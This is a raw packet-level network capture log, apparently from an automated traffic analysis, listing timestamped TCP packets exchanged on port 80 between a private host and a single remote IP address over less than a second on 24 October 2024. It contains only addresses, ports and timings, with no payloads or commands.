Oct 24, 2024 08:38:46.767812014 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.767836094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.767848015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.767858982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.767864943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.767873049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.767882109 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.767911911 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.841435909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.841454029 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.841465950 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.841476917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.841490030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.841497898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.841630936 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.841631889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.842310905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.842322111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.842341900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.842354059 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.842365026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.842370033 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.842376947 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.842403889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.842420101 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843040943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843097925 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843133926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843147993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843159914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843172073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843178034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843209028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843211889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843220949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843233109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843257904 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843281031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843281031 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843296051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843307018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843323946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843368053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843380928 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843379021 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843379021 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843391895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843403101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843415022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843427896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843425989 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843425989 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843429089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843446016 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843463898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843496084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843507051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843519926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843545914 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843550920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843563080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843574047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843575954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843590021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843592882 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843602896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843625069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843636990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843650103 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843655109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843658924 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843667984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843681097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.843683958 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843693972 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.843718052 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.845391035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.845402956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.845413923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.845442057 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.845468998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.845477104 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.845482111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.845494986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.845509052 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.845532894 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846096992 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846107960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846118927 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846142054 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846151114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846162081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846169949 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846174002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846188068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846190929 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846210957 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846229076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846239090 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846240997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846252918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846265078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846268892 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846276999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846280098 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846293926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846318007 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846338987 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846374035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846385956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846396923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846410036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846425056 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846451998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846452951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846462965 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846473932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846484900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846496105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846498966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846519947 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846544027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846549034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846555948 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846570015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846584082 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.846586943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846597910 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.846621990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.847462893 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.847512007 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.847526073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.847538948 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.847551107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.847572088 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.847595930 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848531961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848543882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848555088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848567963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848576069 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848579884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848592997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848597050 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848607063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848618984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848618984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848634958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848637104 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848649025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848654985 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848661900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848674059 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848686934 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848690033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848711014 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848712921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848726988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848735094 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848737955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848758936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848771095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848779917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848783970 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848783970 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848794937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848798990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848809004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848819971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848826885 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848833084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848855019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848858118 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848867893 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848881006 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848886967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848893881 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848903894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848922014 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848931074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848937035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848948002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848961115 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848968983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848970890 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.848979950 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848994017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.848999977 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849009991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849020958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849029064 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849052906 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849062920 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849078894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849090099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849106073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849131107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849132061 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849143028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849153042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849160910 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849181890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849194050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849194050 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849212885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849216938 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849226952 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849236965 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849242926 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849250078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849292040 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849312067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849348068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849359035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849369049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849373102 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849381924 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849385023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849397898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849400043 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849409103 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849415064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849426031 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849441051 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849462986 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849539995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849551916 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849561930 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.849570990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.849596977 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878354073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878367901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878376961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878391027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878437042 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878463984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878546953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878556967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878567934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878590107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878623009 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878623962 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878634930 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878647089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878658056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878673077 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878690004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878884077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878895044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878905058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878927946 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878931999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878945112 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878953934 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878956079 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878968954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878979921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.878982067 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.878992081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879004955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879017115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879017115 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879034042 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879064083 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879184008 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879199028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879211903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879221916 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879235983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879235983 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879247904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879259109 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879259109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879271030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879275084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879287004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879287004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879300117 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879307032 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879326105 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879328012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879340887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879353046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879364967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879374027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879384995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879395962 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879398108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879398108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879407883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879420042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879431963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879441023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879441023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879441023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879443884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879456043 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.879477978 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.879508018 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.883018970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.883029938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.883040905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.883074045 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.883109093 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.930227041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.930274010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.930284023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.930288076 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.930315971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.930322886 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.956729889 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.956743956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.956754923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.956799984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.957472086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.957484007 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.957494974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.957504988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.957516909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.957524061 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.957529068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.957542896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.957545996 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.957554102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.957561016 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.957587004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.957612038 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958350897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958395958 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958482027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958499908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958511114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958515882 CEST	80	61014	185.215.113.37	192.168.2.5
